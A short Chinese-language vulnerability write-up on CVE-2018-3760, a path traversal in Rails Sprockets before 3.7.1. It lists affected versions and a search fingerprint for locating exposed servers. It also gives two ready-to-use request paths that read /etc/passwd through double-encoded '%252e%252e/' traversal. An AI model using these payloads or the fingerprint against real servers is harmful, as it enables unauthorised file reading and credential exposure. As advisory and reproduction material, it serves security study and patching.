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42 lines
983 B
Markdown
42 lines
983 B
Markdown
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# Rails sprockets 任意文件读取漏洞 CVE-2018-3760
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## 漏洞描述
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Ruby On Rails 在开发环境下使用 Sprockets 作为静态文件服务器，Ruby On Rails 是著名 Ruby Web 开发框架，Sprockets 是编译及分发静态资源文件的 Ruby 库。
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Sprockets 3.7.1 及之前版本中，存在一处因为二次解码导致的路径穿越漏洞，攻击者可以利用%252e%252e/来跨越到根目录，读取或执行目标服务器上任意文件。
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## 漏洞影响
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```
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Sprockets < 3.7.1
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```
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## 网络测绘
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```
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title="Ruby On Rails"
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```
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## 漏洞复现
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主页面
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先获取绝对路径
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```
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/assets/file:%2f%2f/etc/passwd
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```
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再利用 POC 读取文件
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```
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/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
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```
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